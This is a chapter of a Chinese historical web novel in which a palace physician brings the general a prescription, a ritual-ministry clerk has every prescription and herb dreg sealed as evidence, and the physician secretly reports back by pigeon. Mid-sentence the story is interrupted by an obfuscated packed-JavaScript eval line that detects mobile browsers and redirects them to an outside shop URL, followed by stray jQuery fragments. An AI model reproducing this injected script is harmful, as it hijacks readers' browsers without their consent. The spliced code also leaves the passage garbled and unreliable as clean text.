默认冷灰
24号文字
方正启体

17. 青梧驿

作者:面皮行者本书字数:K更新时间:
    季柠抱着那卷北境旧军册抄页,刚从车里下来,便瞧见院中已经站着一个生面孔。


    那人穿一身太医院常服,颜色很净,袖口扎得利落,肩上披着件薄毛氅,站在暮色里,挺拔清整。他生得同冯嵩全然不同,不是那种药柜里浸久了的苦冷,而是一种刻意收敛过锋芒的文雅。眉眼端正,唇边甚至还带着一点温和笑意。


    霍青已经翻身下马,快步上前同那人说了两句。那人随即转过身来,朝着宋昭行了一礼,动作不卑不亢,连衣袖拂过身前的弧度都恰到好处:“下官太医院医官杜衡,奉圣上口谕,随军北上,为将军复诊旧伤。北境寒极之地常有旧寒成疾,下官若留在北地,也可与军医一道诊治寒疾,不负陛下差遣。”


    这番话说得体面至极,皇帝体恤功臣,遣太医院医官随军复诊旧伤,是恩。北境苦寒,旧寒成疾者甚多,太医院医官顺势留下来同军医一道义诊,是仁。无论从哪一层看都挑不出错。


    秦岐站在一旁,脸色却不算太好。


    眼下突然从京里空降下来一个太医院医官,说是来替将军复诊旧伤,还顺带在北地义诊寒疾,秦岐却先下意识想:北境的风寒和伤兵,他自己这些年难道还治得少了,何须再从太医院挑一个人来帮忙?


    可不痛快归不痛快,面上总得过得去,知道这人是皇帝派来的,便只淡淡拱了拱手,没有多说。


    宋昭站在驿站阶下,听完杜衡那番来意,神色并没有明显变化。他今日穿的是一身便于行路的玄色常服,风尘一路,眉眼比京中更冷硬些。杜衡那番话于他而言,显然并不新鲜。此刻他只垂眼看了杜衡片刻,便淡淡道:“有劳。”


    没有多问,也没有多谢。既不拂了皇帝的面子,也不曾给这位新来的太医多余的台阶。


    只见杜衡与宋昭寒暄过后,又转向秦岐,从袖中取出一张折得极平的方子来,笑意温和依旧:“来之前,太医院同几位老院判依着将军旧伤旧脉拟过一张方子,与之前冯院判那张有相辅相成之效。下官虽不敢说比军医更懂将军这些年的伤,可宫中旧案和北地寒极之症,多少还是看得些。这方子先给秦医官过一遍,若无不妥,日后也可慢慢温补着用。”


    秦岐纵然心里有再多不乐意,也不好当着将军和众人把那张方子推回去,只能沉着脸接过,站到廊下灯火稍亮处,皱着眉一味味往下看。


    季柠站在一旁,原本并不打算凑这个热闹,她不通医理,这一点她自己十分有数。


    但也许是这几日接连翻旧案、看脉案看得太多,杜衡方才摊开那张方子时,她眼角余光先瞥见的是药方边上那几句随手记下的医案小注。像是太医院惯用的那类脉案格式:旧伤积寒,筋络不舒,阴雨则痛,夜间尤甚,宜温经和血,缓调徐补,不可骤攻。


    这几句本身没什么问题,可季柠偏偏觉得眼熟。


    她在乙字号库里翻过父亲旧案,又在旧簿底下摸到过几页被凶礼司压下去的脉案残页。那些年头久远的纸页上,写的也是类似的措辞。


    她心里微微一动,下意识又多看了一眼。


    秦岐这时已经将那张方子看到了底。


    他看得很细,时不时用指尖在其中几味药材上点一点,眉头由紧转松,最后竟沉沉吐出一口气,像是不得不承认一件自己并不想承认的事:“药性平和,君臣佐使也配得稳,确实是张好方。比起前几日宫里那张,还更温些,若照方煎煮,用来调旧伤倒是合适。”


    杜衡站在一旁,听了也只是微微一笑,没有露出半点得色,甚至还带着几分医者之间彼此体谅的谦和:“秦医官在边军多年,日日见的都是真刀真枪落在身上的伤,自然比下官更知道将军旧伤痛在何处。下官不过是依太医院旧脉案进行的揣摩而已。”


    季柠原本不该在这时候开口。


    她是礼部掌簿,不是医官,更不是将军府家臣。一个不懂医理的人,在一群大夫和将军面前插手药方与医案,本就不合适。可她盯着那方子边上的小注看了半晌,心里那股熟悉又别扭的寒意到底还是一点点浮了上来。


    她抱着卷宗往前走了半步,语气像是顺着规矩办事的样子:“按理说,下官一个礼部掌簿,不该多嘴药理的事。不过既然眼下太医院医官奉旨随军,往后所有与将军旧伤相关的方子、医案和药渣,照旧例都该留底封存,以备回京后有据可核。下官既随军带着礼部规制,倒正好能把这一项一并记上。”


    这番话一出,院中几个人都看了她一眼。


    杜衡却笑了,他生得本就端正,笑起来时眉眼更显温和,仿佛半点不把这句话放在心上,甚至还带着一点宽容的好脾气。


    “季掌簿好大的规矩。”他说得极轻,听不出半分恼意,反倒像在同一个越界却不自知的小官说笑,“下官行医多年,还是头一回见礼部的人要来封存药渣。若照这般细法,往后将军每回咳一声,凶礼司岂不是都要添一页底册?”


    这话说得里头暗藏着刺,真要追究起来,便是她一个礼部小吏拿着鸡毛当令箭。


    她抱着卷宗站在廊下灯火里,脸上也带着笑:“将军旧伤如今既是宫中挂着心、太医院一路随诊的大事,那便不只是医家的事,也关礼部记档。方子留底,医案封存,药渣验看,本也不算什么过分的规矩。总归——”


    她轻轻顿了一下,目光从那张方子上,再抬眼看向杜衡。


    “有据可查,才最稳妥。”


    话音落下,已是针锋相对。


    风从驿站门外卷进来,吹得灯火轻轻摇了一下。杜衡脸上的笑意并没有散,只是眼底那点原本温润的光稍稍淡了淡。他显然没想到,一个礼部掌簿敢拿规制这块牌子硬生生横进医案和药方里。更没想到的是,季柠说这话时竟半点不像争口舌,倒真像打算把这件事一板一眼地记进册里去。


    院中一时静了下来,而宋昭就站在众人视线的中央。


    他没立刻开口,只偏过头看了季柠一眼。季柠能感觉到,那目光落在自己脸上时,比方才车厢里又深了一层。


    季柠站得很直,怀里还抱着那堆景和九年的旧案,脸上那点平日里用来讨巧卖乖的笑意也没全收,偏偏眼底却是很少露出来的硬。宋昭忽然想起前几日宫门外,她一边急着同自己解释,一边又死不肯松手的模样。


    片刻之后,宋昭终于开口。


    “封存。”


    这两个字落下来时,院中所有人都微微静了一下。


    宋昭只慢慢将目光从季柠脸上移开,落回杜衡身上,语气仍旧是平平的,却透着一种不容置疑的强势:“从今日起,所有随军医案、药方、药渣,一并留底,不得擅弃。秦岐与礼部掌簿共同记档,谁若有异议,直接来同我说。”


    在场的人都听明白了。


    将军当着所有人的面,站在季柠这一边,把她方才那句原本听来像越权的要求,一字不改地压成了将军军令。


    季柠心口微微一跳。


    她原本并没有十足把握宋昭会顺着她。毕竟他这一路上仍旧处处留着疑心,像今日车厢里那样安静递她一张抄页,已算是难得的松手。她没想到,宋昭会在这样众目睽睽之下,半点不给杜衡留面子,也半点不给她留退路似的,直接站到她这边来。


    这种感觉很奇怪。


    像是一个人明知你身上还带着疑点,却依旧当着旁人的面替你把场子立住。不是全然信任,却比单纯的保护更叫人心口发紧。


    杜衡脸上的笑意终于淡了些。


    可他到底是太医院出来的人,体面已经刻进了骨头里,哪怕被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548101|204238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宋昭这样当场压了一头,也只是微微一顿,随即便重新低头拱手:“将军既如此吩咐,下官自然遵命。季掌簿办事谨慎,是下官方才失言了。”


    秦岐在旁边看了半晌,终于轻轻“哼”了一声。他这人脾气直,先前还嫌季柠一个礼部掌簿插手药方,如今见宋昭亲口定了规矩,便也不再多说,只把那张方子重新折起,连带着今日的脉案一并塞进木匣里,显然真打算从这一刻起,连药渣都要照例留着了。


    风又大了些,驿站院里的灯火被吹得连晃几下,廊下诸人影子长长短短地投在砖地上。季柠抱着卷宗站在原地,只觉得掌心微热,连呼吸都跟着轻了一下。她原本有些话想说,可眼下这场面显然不适合。她只能把那点刚刚生出来、连自己都不愿承认的异样按回去,面上仍旧端着惯有的轻松模样,冲宋昭弯了弯眼。


    宋昭只深深看了季柠一眼,转身往驿站里去:“先安置。”


    众人随即散开。


    这一夜驿站里灯火亮得格外久。


    亲卫守夜,军中换防,厨下熬粥煮药,厩中马匹偶尔低嘶,风一阵阵从驿站院中穿过去,将未关严的窗纸吹得轻轻鼓起。季柠住的屋子在后院角上,比前几日客栈里暖和些。她把旧案一卷卷重新理齐,又将今日那页关于赵槐的抄纸压进贴身小袋里,等手上忙完,窗外已是深夜。


    桌上灯火不算亮,她便坐在那一点光底下发呆。她不是个爱多想的人,或者说,她从前总逼着自己别想得太深。可今日廊下那一幕,宋昭一句“谁若有异议,直接来同我说”,还是像一块不轻不重的石头,投进了她心里原本还算平静的水里。


    她知道自己不该因此松心。


    宋昭仍旧疑她,这一点她很清楚。他带她北上,不是无缘无故;今日在车厢里拿那张旧军册抄页给她看,也绝不只是单纯想同她分享线索。可知道归知道,人心这种东西,有时就是这么不讲理。旁人一句轻飘飘的维护,若来得恰好,便能在你最不想承认的时候,偏偏叫你记住。


    她抬手揉了揉眉心,刚要吹灯,窗外却传来一阵极轻的脚步声。


    季柠手一顿,抬头看去,只见窗纸上映出一道修长人影。下一刻,有人将什么东西轻轻放在窗下,随后脚步便又悄无声息地远了。


    她愣了一下,起身推门出去。


    夜风很凉,吹得她立时清醒了几分。窗下放着的是一只小小的铜手炉,炉身不算新,摸上去却还是暖的,里头炭火的热意透过铜壁缓缓渗出来,在这北地的夜里显得格外妥帖。


    季柠蹲下身,将那只手炉捧起来,指尖被暖意一熨。


    她不用想也知道这东西是谁送来的。这一路北上,只有一个人会在嘴上半句不多说的同时,又把这些细枝末节安排得滴水不漏。


    院中空荡荡的,只有远处廊下灯火微黄。宋昭的身影并不在,可季柠抬起头,还是下意识往那边看了一眼。心里那点原本还想嘴硬着往下压的东西,终究还是一点点浮了上来。


    这个人,真讨厌。


    明明白日里还一副公事公办、冷硬得谁都别想多想的样子,到了夜里,却偏又把手炉悄无声息地放到她窗下,连一句话都不说。好像多说半个字,便要叫人误会了什么。


    她抱着手炉回屋时,心里还在骂,可唇角却不自觉地往上轻轻牵了一下。


    而在前院另一头,杜衡的房里还亮着灯。


    他坐在案后,面前摊着一张薄纸,灯火把他的影子拉得很长。白日里那副温和从容的神情此刻已经收得很淡,眼底只剩下医者常有的平静与另一种说不出的冷。


    杜衡提笔蘸墨,字写得极小。


    “将军未服全方,季氏多疑。”


    他将字条绑在信鸽身上,看信鸽飞向京城的方向。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)